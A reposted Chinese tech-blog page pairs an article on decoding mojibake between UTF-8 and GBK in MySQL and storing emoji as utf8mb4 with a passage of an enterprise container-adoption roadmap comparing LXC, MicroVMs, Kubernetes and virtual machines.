乱码也就是英文常说的mojibake(由日语的文字化け音译)。 简单的说乱码的出现是因为:编码和解码时用了不同或者不兼容的字符集。 对应到真实生活中:就好比是一个英国人为了表示祝福在纸上写了bless(编码过程)。而一个法国人拿到了这张纸,由于在法语中bless表示受伤的意思,所以认为他想表达的是受伤(解码过程)。这个就是一个现实生活中的乱码情况。 在计算机科学中一样:一个用UTF-8编码后的字符,用GBK去解码。由于两个字符集的字库表不一样,同一个汉字在两个字符表的位置也不同,最终就会出现乱码。 我们来看一个例子,假设我们用UTF-8编码存储“很屌”两个字,会有如下转换: 于是我们得到了E5BE88E5B18C这么一串数值,而显示时我们用GBK解码进行展示,通过查表我们获得以下信息: 解码后我们就得到了“寰堝睂”这么一个错误的结果,更要命的是连字符个数都变了。 10、如何识别乱码的本来想要表达的文字 要从乱码字符中反解出原来的正确文字需要对各个字符集编码规则有较为深刻的掌握。但是原理很简单,这里用以MySQL数据库中的数据操纵中最常见的UTF-8被错误用GBK展示时的乱码为例,来说明具体反解和识别过程。 10.1 第1步:编码 假设我们在页面上看到“寰堝睂”这样的乱码,而又得知我们的浏览器当前使用GBK编码。那么第一步我们就能先通过GBK把乱码编码成二进制表达式。 当然查表编码效率很低,我们也可以用以下SQL语句直接通过MySQL客户端来做编码工作: mysql [localhost] {msandbox} > selecthex(convert('寰堝睂'using gbk)); +-------------------------------------+ | hex(convert('寰堝睂'using gbk)) | +-------------------------------------+ | E5BE88E5B18C | +-------------------------------------+ 1 row inset(0.01 sec) 10.2 第2步:识别 现在我们得到了解码后的二进制字符串E5BE88E5B18C。然后我们将它按字节拆开。 然后套用之前UTF-8编码介绍章节中总结出的规律,就不难发现这6个字节的数据符合UTF-8编码规则。如果整个数据流都符合这个规则的话,我们就能大胆假设乱码之前的编码字符集是UTF-8。 10.3 第3步:解码 然后我们就能拿着 E5BE88E5B18C 用UTF-8解码,查看乱码前的文字了。 当然我们可以不查表直接通过SQL获得结果: mysql [localhost] {msandbox} ((none)) > selectconvert(0xE5BE88E5B18C using utf8); +------------------------------------+ | convert(0xE5BE88E5B18C using utf8) | +------------------------------------+ | 很屌 | +------------------------------------+ 1 row inset(0.00 sec) 11、常见的IM乱码问题处理之MySQL中的Emoji字符 所谓Emoji就是一种在Unicode位于 \u1F601-\u1F64F 区段的字符。这个显然超过了目前常用的UTF-8字符集的编码范围 \u0000-\uFFFF。Emoji表情随着IOS的普及和微信的支持越来越常见。 下面就是几个常见的Emoji(IM聊天软件中经常会被用到): 那么Emoji字符表情会对我们平时的开发运维带来什么影响呢? 最常见的问题就在于将他存入MySQL数据库的时候。一般来说MySQL数据库的默认字符集都会配置成UTF-8(三字节),而utf8mb4在5.5以后才被支持,也很少会有DBA主动将系统默认字符集改成utf8mb4。 那么问题就来了,当我们把一个需要4字节UTF-8编码才能表示的字符存入数据库的时候就会报错:ERROR 1366: Incorrect string value: '\xF0\x9D\x8C\x86' for column 。 如果认真阅读了上面的解释,那么这个报错也就不难看懂了:我们试图将一串Bytes插入到一列中,而这串Bytes的第一个字节是 \xF0 意味着这是一个四字节的UTF-8编码。但是当MySQL表和列字符集配置为UTF-8的时候是无法存储这样的字符的,所以报了错。 那么遇到这种情况我们如何解决呢? 有两种方式: 1)升级MySQL到5.6或更高版本,并且将表字符集切换至utf8mb4; 2)在把内容存入到数据库之前做一次过滤,将Emoji字符替换成一段特殊的文字编码,然后再存入数据库中。之后从数据库获取或者前端展示时再将这段特殊文字编码转换成Emoji显示。 第二种方法我们假设用 --1F601-- 来替代4字节的Emoji,那么具体实现python代码可以参见Stackoverflow上的回答。 12、参考文献 [1] 如何配置Python默认字符集 [2] 字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8 [3] Unicode中文编码表 [4] Emoji Unicode Table [5] Every Developer Should Know About The Encoding 附录:更多IM开发方面的文章 [1] IM开发综合文章: 《新手入门一篇就够:从零开发移动端IM》 《移动端IM开发者必读(一):通俗易懂,理解移动网络的“弱”和“慢”》 《移动端IM开发者必读(二):史上最全移动弱网络优化方法总结》 《从客户端的角度来谈谈移动端IM的消息可靠性和送达机制》 《现代移动端网络短连接的优化手段总结:请求速度、弱网适应、安全保障》 《腾讯技术分享:社交网络图片的带宽压缩技术演进之路》 《小白必读:闲话HTTP短连接中的Session和Token》 《IM开发基础知识补课:正确理解前置HTTP SSO单点登陆接口的原理》 《移动端IM开发需要面对的技术问题》 《开发IM是自己设计协议用字节流好还是字符流好?》 《请问有人知道语音留言聊天的主流实现方式吗?》 《一个低成本确保IM消息时序的方法探讨》 《完全自已开发的IM该如何设计“失败重试”机制?》 《通俗易懂:基于集群的移动端IM接入层负载均衡方案分享》 《微信对网络影响的技术试验及分析(论文全文)》 《即时通讯系统的原理、技术和应用(技术论文)》 《开源IM工程“蘑菇街TeamTalk”的现状:一场有始无终的开源秀》 《QQ音乐团队分享:Android中的图片压缩技术详解(上篇)》 《QQ音乐团队分享:Android中的图片压缩技术详解(下篇)》 《腾讯原创分享(一):如何大幅提升移动网络下手机QQ的图片传输速度和成功率》 《腾讯原创分享(二):如何大幅压缩移动网络下APP的流量消耗(上篇)》 《腾讯原创分享(三):如何大幅压缩移动网络下APP的流量消耗(下篇)》 《如约而至:微信自用的移动端IM网络层跨平台组件库Mars已正式开源》 《基于社交网络的Yelp是如何实现海量用户图片的无损压缩的?》 《腾讯技术分享:腾讯是如何大幅降低带宽和网络流量的(图片压缩篇)》 《腾讯技术分享:腾讯是如何大幅降低带宽和网络流量的(音视频技术篇)》 《字符编码那点事:快速理解ASCII、Unicode、GBK和UTF-8》 《全面掌握移动端主流图片格式的特点、性能、调优等》 《子弹短信光鲜的背后:网易云信首席架构师分享亿级IM平台的技术实践》 《微信技术分享:微信的海量IM聊天消息序列号生成实践(算法原理篇)》 《自已开发IM有那么难吗?手把手教你自撸一个Andriod版简易IM (有源码)》 《融云技术分享:解密融云IM产品的聊天消息ID生成策略》 《适合新手:从零开发一个IM服务端(基于Netty,有完整源码)》 《拿起键盘就是干:跟我一起徒手开发一套分布式IM系统》 >> 更多同类文章 …… [2] 有关IM架构设计的文章: 《浅谈IM系统的架构设计》 《简述移动端IM开发的那些坑:架构设计、通信协议和客户端》 《一套海量在线用户的移动端IM架构设计实践分享(含详细图文)》 《一套原创分布式即时通讯(IM)系统理论架构方案》 《从零到卓越:京东客服即时通讯系统的技术架构演进历程》 《蘑菇街即时通讯/IM服务器开发之架构选择》 《腾讯QQ1.4亿在线用户的技术挑战和架构演进之路PPT》 《微信后台基于时间序的海量数据冷热分级架构设计实践》 《微信技术总监谈架构:微信之道——大道至简(演讲全文)》 《如何解读《微信技术总监谈架构:微信之道——大道至简》》 《快速裂变:见证微信强大后台架构从0到1的演进历程(一)》 《17年的实践:腾讯海量产品的技术方法论》 《移动端IM中大规模群消息的推送如何保证效率、实时性?》 《现代IM系统中聊天消息的同步和存储方案探讨》 《IM开发基础知识补课(二):如何设计大量图片文件的服务端存储架构?》 《IM开发基础知识补课(三):快速理解服务端数据库读写分离原理及实践建议》 《IM开发基础知识补课(四):正确理解HTTP短连接中的Cookie、Session和Token》 《WhatsApp技术实践分享:32人工程团队创造的技术神话》 《微信朋友圈千亿访问量背后的技术挑战和实践总结》 《王者荣耀2亿用户量的背后:产品定位、技术架构、网络方案等》 《IM系统的MQ消息中间件选型:Kafka还是RabbitMQ?》 《腾讯资深架构师干货总结:一文读懂大型分布式系统设计的方方面面》 《以微博类应用场景为例,总结海量社交系统的架构设计步骤》 《快速理解高性能HTTP服务端的负载均衡技术原理》 《子弹短信光鲜的背后:网易云信首席架构师分享亿级IM平台的技术实践》 《知乎技术分享:从单机到2000万QPS并发的Redis高性能缓存实践之路》 《IM开发基础知识补课(五):通俗易懂,正确理解并用好MQ消息队列》 《微信技术分享:微信的海量IM聊天消息序列号生成实践(算法原理篇)》 《微信技术分享:微信的海量IM聊天消息序列号生成实践(容灾方案篇)》 《新手入门:零基础理解大型分布式架构的演进历史、技术原理、最佳实践》 《一套高可用、易伸缩、高并发的IM群聊、单聊架构方案设计实践》 《阿里技术分享:深度揭秘阿里数据库技术方案的10年变迁史》 《阿里技术分享:阿里自研金融级数据库OceanBase的艰辛成长之路》 《社交软件红包技术解密(一):全面解密QQ红包技术方案——架构、技术实现等》 《社交软件红包技术解密(二):解密微信摇一摇红包从0到1的技术演进》 《社交软件红包技术解密(三):微信摇一摇红包雨背后的技术细节》 《社交软件红包技术解密(四):微信红包系统是如何应对高并发的》 《社交软件红包技术解密(五):微信红包系统是如何实现高可用性的》 《社交软件红包技术解密(六):微信红包系统的存储层架构演进实践》 《社交软件红包技术解密(七):支付宝红包的海量高并发技术实践》 《社交软件红包技术解密(八):全面解密微博红包技术方案》 《社交软件红包技术解密(九):谈谈手Q红包的功能逻辑、容灾、运维、架构等》 《即时通讯新手入门:一文读懂什么是Nginx?它能否实现IM的负载均衡?》 《即时通讯新手入门:快速理解RPC技术——基本概念、原理和用途》 《多维度对比5款主流分布式MQ消息队列,妈妈再也不担心我的技术选型了》 《从游击队到正规军(一):马蜂窝旅游网的IM系统架构演进之路》 《从游击队到正规军(二):马蜂窝旅游网的IM客户端架构演进和实践总结》 《IM开发基础知识补课(六):数据库用NoSQL还是SQL?读这篇就够了!》 《瓜子IM智能客服系统的数据架构设计(整理自现场演讲,有配套PPT)》 《阿里钉钉技术分享:企业级IM王者——钉钉在后端架构上的过人之处》 >> 更多同类文章 …… (本文同步发布于:http://www.52im.net/thread-2868-1-1.html) 本篇文章为转载内容。原文链接:https://blog.csdn.net/hellojackjiang2011/article/details/103586305。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-04-29 12:29:21
522
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 随着容器技术越来越火热,各种大会上标杆企业分享容器化收益,带动其他还未实施容器的企业也在考虑实施容器化。不过真要在自己企业实践容器的时候,会认识到容器化不是一个简单工程,甚至会有一种茫然不知从何入手的感觉。 本文总结了通用的企业容器化实施线路图,主要针对企业有存量系统改造为容器,或者部分新开发的系统使用容器技术的场景。不包含企业系统从0开始全新构建的场景,这种场景相对简单。 容器实践路线图 企业着手实践容器的路线,建议从3个维度评估,然后根据评估结果落地实施。3个评估维度为:商业目标,技术选型,团队配合。 商业目标是重中之重,需要回答为何要容器化,这个也是牵引团队在容器实践路上不断前行的动力,是遇到问题是解决问题的方向指引,最重要的是让决策者认同商业目标,并能了解到支持商业目标的技术原理,上下目标对齐才好办事。 商业目标确定之后,需要确定容器相关的技术选型,容器是一种轻量化的虚拟化技术,与传统虚拟机比较有优点也有缺点,要找出这些差异点识别出对基础设施与应用的影响,提前识别风险并采取应对措施。 技术选型明确之后,在公司或部门内部推广与评审,让开发人员、架构师、测试人员、运维人员相关人员与团队理解与认同方案,听取他们意见,他们是直接使用容器的客户,不要让他们有抱怨。 最后是落地策略,一般是选取一些辅助业务先试点,在实践过程中不断总结经验。 商业目标 容器技术是以应用为中心的轻量级虚拟化技术,而传统的Xen与KVM是以资源为中心的虚拟化技术,这是两者的本质差异。以应用为中心是容器技术演进的指导原则,正是在这个原则指导下,容器技术相对于传统虚拟化有几个特点:打包既部署、镜像分层、应用资源调度。 打包即部署:打包即部署是指在容器镜像制作过程包含了传统软件包部署的过程(安装依赖的操作系统库或工具、创建用户、创建运行目录、解压、设置文件权限等等),这么做的好处是把应用及其依赖封装到了一个相对封闭的环境,减少了应用对外部环境的依赖,增强了应用在各种不同环境下的行为一致性,同时也减少了应用部署时间。 镜像分层:容器镜像包是分层结构,同一个主机上的镜像层是可以在多个容器之间共享的,这个机制可以极大减少镜像更新时候拉取镜像包的时间,通常应用程序更新升级都只是更新业务层(如Java程序的jar包),而镜像中的操作系统Lib层、运行时(如Jre)层等文件不会频繁更新。因此新版本镜像实质有变化的只有很小的一部分,在更新升级时候也只会从镜像仓库拉取很小的文件,所以速度很快。 应用资源调度:资源(计算/存储/网络)都是以应用为中心的,中心体现在资源分配是按照应用粒度分配资源、资源随应用迁移。 基于上述容器技术特点,可以推导出容器技术的3大使用场景:CI/CD、提升资源利用率、弹性伸缩。这3个使用场景自然推导出通用的商业层面收益:CI/CD提升研发效率、提升资源利用率降低成本、按需弹性伸缩在体验与成本之间达成平衡。 当然,除了商业目标之外,可能还有其他一些考虑因素,如基于容器技术实现计算任务调度平台、保持团队技术先进性等。 CI/CD提升研发效率 为什么容器技术适合CI/CD CI/CD是DevOps的关键组成部分,DevOps是一套软件工程的流程,用于持续提升软件开发效率与软件交付质量。DevOps流程来源于制造业的精益生产理念,在这个领域的领头羊是丰田公司,《丰田套路》这本书总结丰田公司如何通过PDCA(Plan-Do-Check-Act)方法实施持续改进。PDCA通常也称为PDCA循环,PDCA实施过程简要描述为:确定目标状态、分析当前状态、找出与目标状态的差距、制定实施计划、实施并总结、开始下一个PDCA过程。 DevOps基本也是这么一个PDCA流程循环,很容易认知到PDCA过程中效率是关键,同一时间段内,实施更多数量的PDCA过程,收益越高。在软件开发领域的DevOps流程中,各种等待(等待编译、等待打包、等待部署等)、各种中断(部署失败、机器故障)是影响DevOps流程效率的重要因素。 容器技术出来之后,将容器技术应用到DevOps场景下,可以从技术手段消除DevOps流程中的部分等待与中断,从而大幅度提升DevOps流程中CI/CD的效率。 容器的OCI标准定义了容器镜像规范,容器镜像包与传统的压缩包(zip/tgz等)相比有两个关键区别点:1)分层存储;2)打包即部署。 分层存储可以极大减少镜像更新时候拉取镜像包的时间,通常应用程序更新升级都只是更新业务层(如Java程序的jar包),而镜像中的操作系统Lib层、运行时(如Jre)层等文件不会频繁更新。因此新版本镜像实质有变化的只有很小的一部分,在更新升级时候也只会从镜像仓库拉取很小的文件,所以速度很快。 打包即部署是指在容器镜像制作过程包含了传统软件包部署的过程(安装依赖的操作系统库或工具、创建用户、创建运行目录、解压、设置文件权限等等),这么做的好处是把应用及其依赖封装到了一个相对封闭的环境,减少了应用对外部环境的依赖,增强了应用在各种不同环境下的行为一致性,同时也减少了应用部署时间。 基于容器镜像的这些优势,容器镜像用到CI/CD场景下,可以减少CI/CD过程中的等待时间,减少因环境差异而导致的部署中断,从而提升CI/CD的效率,提升整体研发效率。 CI/CD的关键诉求与挑战 快 开发人员本地开发调试完成后,提交代码,执行构建与部署,等待部署完成后验证功能。这个等待的过程尽可能短,否则开发人员工作容易被打断,造成后果就是效率降低。如果提交代码后几秒钟就能够完成部署,那么开发人员几乎不用等待,工作也不会被打断;如果需要好几分钟或十几分钟,那么可以想象,这十几分钟就是浪费了,这时候很容易做点别的事情,那么思路又被打断了。 所以构建CI/CD环境时候,快是第一个需要考虑的因素。要达到快,除了有足够的机器资源免除排队等待,引入并行编译技术也是常用做法,如Maven3支持多核并行构建。 自定义流程 不同行业存在不同的行业规范、监管要求,各个企业有一套内部质量规范,这些要求都对软件交付流程有定制需求,如要求使用商用的代码扫描工具做安全扫描,如构建结果与企业内部通信系统对接发送消息。 在团队协同方面,不同的公司,对DevOps流程在不同团队之间分工有差异,典型的有开发者负责代码编写构建出构建物(如jar包),而部署模板、配置由运维人员负责;有的企业开发人员负责构建并部署到测试环境;有的企业开发人员直接可以部署到生产环境。这些不同的场景,对CI/CD的流程、权限管控都有定制需求。 提升资源利用率 OCI标准包含容器镜像标准与容器运行时标准两部分,容器运行时标准聚焦在定义如何将镜像包从镜像仓库拉取到本地并更新、如何隔离运行时资源这些方面。得益于分层存储与打包即部署的特性,容器镜像从到镜像仓库拉取到本地运行速度非常快(通常小于30秒,依赖镜像本身大小等因素),基于此可以实现按需分配容器运行时资源(cpu与内存),并限定单个容器资源用量;然后根据容器进程资源使用率设定弹性伸缩规则,实现自动的弹性伸缩。 这种方式相对于传统的按峰值配置资源方式,可以提升资源利用率。 按需弹性伸缩在体验与成本之间达成平衡 联动弹性伸缩 应用运行到容器,按需分配资源之后,理想情况下,Kubernetes的池子里没有空闲的资源。这时候扩容应用实例数,新扩容的实例会因资源不足调度失败。这时候需要资源池能自动扩容,加入新的虚拟机,调度新扩容的应用。 由于应用对资源的配比与Flavor有要求,因此新加入的虚拟机,应当是与应用所需要的资源配比与Flavor一致的。缩容也是类似。 弹性伸缩还有一个诉求点是“平滑”,对业务做到不感知,也称为“优雅”扩容/缩容。 请求风暴 上面提到的弹性伸缩一般是有计划或缓慢增压的场景,存在另外一种无法预期的请求风暴场景,这种场景的特征是无法预测、突然请求量增大数倍或数十倍、持续时间短。典型的例子如行情交易系统,当行情突变的时候,用户访问量徒增,持续几十分钟或一个小时。 这种场景的弹性诉求,要求短时间内能将资源池扩大数倍,关键是速度要快(秒级),否则会来不及扩容,系统已经被冲垮(如果无限流的话)。 目前基于 Virtual Kubelet 与云厂家的 Serverless 容器,理论上可以提供应对请求风暴的方案。不过在具体实施时候,需要考虑传统托管式Kubernetes容器管理平台与Serverless容器之间互通的问题,需要基于具体厂家提供的能力来评估。 基于容器技术实现计算调度平台 计算(大数据/AI训练等)场景的特征是短时间内需要大量算力,算完即释放。容器的环境一致性以及调度便利性适合这种场景。 技术选型 容器技术是属于基础设施范围,但是与传统虚拟化技术(Xen/KVM)比较,容器技术是应用虚拟化,不是纯粹的资源虚拟化,与传统虚拟化存在差异。在容器技术选型时候,需要结合当前团队在应用管理与资源管理的现状,对照容器技术与虚拟化技术的差异,选择最合适的容器技术栈。 什么是容器技术 (1)容器是一种轻量化的应用虚拟化技术。 在讨论具体的容器技术栈的时候,先介绍目前几种常用的应用虚拟化技术,当前有3种主流的应用虚拟化技术: LXC,MicroVM,UniKernel(LibOS)。 LXC: Linux Container,通过 Linux的 namespace/cgroups/chroot 等技术隔离进程资源,目前应用最广的docker就是基于LXC实现应用虚拟化的。 MicroVM: MicroVM 介于 传统的VM 与 LXC之间,隔离性比LXC好,但是比传统的VM要轻量,轻量体现在体积小(几M到几十M)、启动快(小于1s)。 AWS Firecracker 就是一种MicroVM的实现,用于AWS的Serverless计算领域,Serverless要求启动快,租户之间隔离性好。 UniKernel: 是一种专用的(特定编程语言技术栈专用)、单地址空间、使用 library OS 构建出来的镜像。UniKernel要解决的问题是减少应用软件的技术栈层次,现代软件层次太多导致越来越臃肿:硬件+HostOS+虚拟化模拟+GuestOS+APP。UniKernel目标是:硬件+HostOS+虚拟化模拟+APP-with-libos。 三种技术对比表: 开销 体积 启动速度 隔离/安全 生态 LXC 低(几乎为0) 小 快(等同进程启动) 差(内核共享) 好 MicroVM 高 大 慢(小于1s) 好 中(Kata项目) UniKernel 中 中 中 好 差 根据上述对比来看,LXC是应用虚拟化首选的技术,如果LXC无法满足隔离性要,则可以考虑MicroVM这种技术。当前社区已经在着手融合LXC与MicroVM这两种技术,从应用打包/发布调度/运行层面统一规范,Kubernetes集成Kata支持混合应用调度特性可以了解一下。 UniKernel 在应用生态方面相对比较落后,目前在追赶中,目前通过 linuxkit 工具可以在UniKernel应用镜像中使用docker镜像。这种方式笔者还未验证过,另外docker镜像运行起来之后,如何监控目前还未知。 从上述三种应用虚拟化技术对比,可以得出结论: (2)容器技术与传统虚拟化技术不断融合中。 再从规范视角来看容器技术,可以将容器技术定义为: (3)容器=OCI+CRI+辅助工具。 OCI规范包含两部分,镜像规范与运行时规范。简要的说,要实现一个OCI的规范,需要能够下载镜像并解压镜像到文件系统上组成成一个文件目录结构,运行时工具能够理解这个目录结构并基于此目录结构管理(创建/启动/停止/删除)进程。 容器(container)的技术构成就是实现OCI规范的技术集合。 对于不同的操作系统(Linux/Windows),OCI规范的实现技术不同,当前docker的实现,支持Windows与Linux与MacOS操作系统。当前使用最广的是Linux系统,OCI的实现,在Linux上组成容器的主要技术: chroot: 通过分层文件系统堆叠出容器进程的rootfs,然后通过chroot设置容器进程的根文件系统为堆叠出的rootfs。 cgroups: 通过cgroups技术隔离容器进程的cpu/内存资源。 namesapce: 通过pid, uts, mount, network, user namesapce 分别隔离容器进程的进程ID,时间,文件系统挂载,网络,用户资源。 网络虚拟化: 容器进程被放置到独立的网络命名空间,通过Linux网络虚拟化veth, macvlan, bridge等技术连接主机网络与容器虚拟网络。 存储驱动: 本地文件系统,使用容器镜像分层文件堆叠的各种实现驱动,当前推荐的是overlay2。 广义的容器还包含容器编排,即当下很火热的Kubernetes。Kubernetes为了把控容器调度的生态,发布了CRI规范,通过CRI规范解耦Kubelet与容器,只要实现了CRI接口,都可以与Kubelet交互,从而被Kubernetes调度。OCI规范的容器实现与CRI标准接口对接的实现是CRI-O。 辅助工具用户构建镜像,验证镜像签名,管理存储卷等。 容器定义 容器是一种轻量化的应用虚拟化技术。 容器=OCI+CRI+辅助工具。 容器技术与传统虚拟化技术不断融合中。 什么是容器编排与调度 选择了应用虚拟化技术之后,还需要应用调度编排,当前Kubernetes是容器领域内编排的事实标准,不管使用何种应用虚拟化技术,都已经纳入到了Kubernetes治理框架中。 Kubernetes 通过 CRI 接口规范,将应用编排与应用虚拟化实现解耦:不管使用何种应用虚拟化技术(LXC, MicroVM, LibOS),都能够通过Kubernetes统一编排。 当前使用最多的是docker,其次是cri-o。docker与crio结合kata-runtime都能够支持多种应用虚拟化技术混合编排的场景,如LXC与MicroVM混合编排。 docker(now): Moby 公司贡献的 docker 相关部件,当前主流使用的模式。 docker(daemon) 提供对外访问的API与CLI(docker client) containerd 提供与 kubelet 对接的 CRI 接口实现 shim负责将Pod桥接到Host namespace。 cri-o: 由 RedHat/Intel/SUSE/IBM/Hyper 公司贡献的实现了CRI接口的符合OCI规范的运行时,当前包括 runc 与 kata-runtime ,也就是说使用 cir-o 可以同时运行LXC容器与MicroVM容器,具体在Kata介绍中有详细说明。 CRI-O: 实现了CRI接口的进程,与 kubelet 交互 crictl: 类似 docker 的命令行工具 conmon: Pod监控进程 other cri runtimes: 其他的一些cri实现,目前没有大规模应用到生产环境。 容器与传统虚拟化差异 容器(container)的技术构成 前面主要讲到的是容器与编排,包括CRI接口的各种实现,我们把容器领域的规范归纳为南向与北向两部分,CRI属于北向接口规范,对接编排系统,OCI就属于南向接口规范,实现应用虚拟化。 简单来讲,可以这么定义容器: 容器(container) ~= 应用打包(build) + 应用分发(ship) + 应用运行/资源隔离(run)。 build-ship-run 的内容都被定义到了OCI规范中,因此也可以这么定义容器: 容器(container) == OCI规范 OCI规范包含两部分,镜像规范与运行时规范。简要的说,要实现一个OCI的规范,需要能够下载镜像并解压镜像到文件系统上组成成一个文件目录结构,运行时工具能够理解这个目录结构并基于此目录结构管理(创建/启动/停止/删除)进程。 容器(container)的技术构成就是实现OCI规范的技术集合。 对于不同的操作系统(Linux/Windows),OCI规范的实现技术不同,当前docker的实现,支持Windows与Linux与MacOS操作系统。当前使用最广的是Linux系统,OCI的实现,在Linux上组成容器的主要技术: chroot: 通过分层文件系统堆叠出容器进程的rootfs,然后通过chroot设置容器进程的根文件系统为堆叠出的rootfs。 cgroups: 通过cgroups技术隔离容器进程的cpu/内存资源。 namesapce: 通过pid, uts, mount, network, user namesapce 分别隔离容器进程的进程ID,时间,文件系统挂载,网络,用户资源。 网络虚拟化: 容器进程被放置到独立的网络命名空间,通过Linux网络虚拟化veth, macvlan, bridge等技术连接主机网络与容器虚拟网络。 存储驱动: 本地文件系统,使用容器镜像分层文件堆叠的各种实现驱动,当前推荐的是overlay2。 广义的容器还包含容器编排,即当下很火热的Kubernetes。Kubernetes为了把控容器调度的生态,发布了CRI规范,通过CRI规范解耦Kubelet与容器,只要实现了CRI接口,都可以与Kubelet交互,从而被Kubernetes调度。OCI规范的容器实现与CRI标准接口对接的实现是CRI-O。 容器与虚拟机差异对比 容器与虚拟机的差异可以总结为2点:应用打包与分发的差异,应用资源隔离的差异。当然,导致这两点差异的根基是容器是以应用为中心来设计的,而虚拟化是以资源为中心来设计的,本文对比容器与虚拟机的差异,更多的是站在应用视角来对比。 从3个方面对比差异:资源隔离,应用打包与分发,延伸的日志/监控/DFX差异。 1.资源隔离 隔离机制差异 容器 虚拟化 mem/cpu cgroup, 使用时候设定 require 与 limit 值 QEMU, KVM network Linux网络虚拟化技术(veth,tap,bridge,macvlan,ipvlan), 跨虚拟机或出公网访问:SNAT/DNAT, service转发:iptables/ipvs, SR-IOV Linux网络虚拟化技术(veth,tap,bridge,macvlan,ipvlan), QEMU, SR-IOV storage 本地存储: 容器存储驱动 本地存储:virtio-blk 差异引入问题与实践建议 应用程序未适配 cgroup 的内存隔离导致问题: 典型的是 JVM 虚拟机,在 JVM 启动时候会根据系统内存自动设置 MaxHeapSize 值,通常是系统内存的1/4,但是 JVM 并未考虑 cgroup 场景,读系统内存时候任然读取主机的内存来设置 MaxHeapSize,这样会导致内存超过 cgroup 限制从而导致进程被 kill 。问题详细阐述与解决建议参考Java inside docker: What you must know to not FAIL。 多次网络虚拟化问题: 如果在虚拟机内使用容器,会多一层网络虚拟化,并加入了SNAT/DNAT技术, iptables/ipvs技术,对网络吞吐量与时延都有影响(具体依赖容器网络方案),对问题定位复杂度变高,同时还需要注意网络内核参数调优。 典型的网络调优参数有:转发表大小 /proc/sys/net/netfilter/nf_conntrack_max 使用iptables 作为service转发实现的时候,在转发规则较多的时候,iptables更新由于需要全量更新导致非常耗时,建议使用ipvs。详细参考[华为云在 K8S 大规模场景下的 Service 性能优化实践](https://zhuanlan.zhihu.com/p/37230013)。 容器IP地址频繁变化不固定,周边系统需要协调适配,包括基于IP地址的白名单或防火墙控制策略需要调整,CMDB记录的应用IP地址需要适配动态IP或者使用服务名替代IP地址。 存储驱动带来的性能损耗: 容器本地文件系统是通过联合文件系统方式堆叠出来的,当前主推与默认提供的是overlay2驱动,这种模式应用写本地文件系统文件或修改已有文件,使用Copy-On-Write方式,也就是会先拷贝源文件到可写层然后修改,如果这种操作非常频繁,建议使用 volume 方式。 2.应用打包与分发 应用打包/分发/调度差异 容器 虚拟化 打包 打包既部署 一般不会把应用程序与虚拟机打包在一起,通过部署系统部署应用 分发 使用镜像仓库存储与分发 使用文件存储 调度运行 使用K8S亲和/反亲和调度策略 使用部署系统的调度能力 差异引入问题与实践建议 部署提前到构建阶段,应用需要支持动态配置与静态程序分离;如果在传统部署脚本中依赖外部动态配置,这部分需要做一些调整。 打包格式发生变化,制作容器镜像需要注意安全/效率因素,可参考Dockerfile最佳实践 容器镜像存储与分发是按layer来组织的,镜像在传输过程中放篡改的方式是传统软件包有差异。 3.监控/日志/DFX 差异 容器 虚拟化 监控 cpu/mem的资源上限是cgroup定义的;containerd/shim/docker-daemon等进程的监控 传统进程监控 日志采集 stdout/stderr日志采集方式变化;日志持久化需要挂载到volume;进程会被随机调度到其他节点导致日志需要实时采集否则分散很难定位 传统日志采集 问题定位 进程down之后自动拉起会导致问题定位现场丢失;无法停止进程来定位问题因为停止即删除实例 传统问题定位手段 差异引入问题实践与建议 使用成熟的监控工具,运行在docker中的应用使用cadvisor+prometheus实现采集与警报,cadvisor中预置了常用的监控指标项 对于docker管理进程(containerd/shim/docker-daemon)也需要一并监控 使用成熟的日志采集工具,如果已有日志采集Agent,则可以考虑将日志文件挂载到volume后由Agent采集;需要注意的是stderr/stdout输出也要一并采集 如果希望容器内应用进程退出后保留现场定位问题,则可以将Pod的restartPolicy设置为never,进程退出后进程文件都还保留着(/var/lib/docker/containers)。但是这么做的话需要进程没有及时恢复,会影响业务,需要自己实现进程重拉起。 团队配合 与周边的开发团队、架构团队、测试团队、运维团队评审并交流方案,与周边团队达成一致。 落地策略与注意事项 逐步演进过程中网络互通 根据当前已经存在的基础实施情况,选择容器化落地策略。通常使用逐步演进的方式,由于容器化引入了独立的网络namespace导致容器与传统虚拟机进程网络隔离,逐步演进过程中如何打通隔离的网络是最大的挑战。 分两种场景讨论: 不同服务集群之间使用VIP模式互通: 这种模式相对简单,基于VIP做灰度发布。 不同服务集群之间使用微服务点对点模式互通(SpringCloud/ServiceComb/Dubbo都是这一类): 这种模式相对复杂,在逐步容器化过程中,要求容器网络与传统虚拟机网络能够互通(难点是在虚拟机进程内能够直接访问到容器网络的IP地址),当前解决这个问题有几种方法。 自建Kubernetes场景,可使用开源的kube-router,kube-router 使用BGP协议实现容器网络与传统虚拟机网络之间互通,要求网络交换机支持BGP协议。 使用云厂商托管Kubernetes场景,选择云厂商提供的VPC-Router互通的网络插件,如阿里云的Terway网络插件, 华为云的Underlay网络模式。 选择物理机还是虚拟机 选择物理机运行容器还是虚拟机运行容器,需要结合基础设施与业务隔离性要求综合考虑。分两种场景:自建IDC、租用公有云。 自建IDC: 理想情况是使用物理机组成一个大集群,根据业务诉求,对资源保障与安全性要求高的应用,使用MicorVM方式隔离;普通应用使用LXC方式隔离。所有物理机在一个大集群内,方便削峰填谷提升资源利用率。 租用公有云:当前公有云厂家提供的裸金属服务价格较贵且只能包周期,使用裸金属性价比并不高,使用虚拟机更合适。 集群规模与划分 选择集群时候,是多个应用共用一个大集群,还是按应用分组分成多个小集群呢?我们把节点规模数量>=1000的定义为大集群,节点数<1000的定义为小集群。 大集群的优点是资源池共享容器,方便资源调度(削峰填谷);缺点是随着节点数量与负载数量的增多,会引入管理性能问题(需要量化): DNS 解析表变大,增加/删除 Service 或 增加/删除 Endpoint 导致DNS表刷新慢 K8S Service 转发表变大,导致工作负载增加/删除刷新iptables/ipvs记录变慢 etcd 存储空间变大,如果加上ConfigMap,可能导致 etcd 访问时延增加 小集群的优点是不会有管理性能问题,缺点是会导致资源碎片化,不容易共享。共享分两种情况: 应用之间削峰填谷:目前无法实现 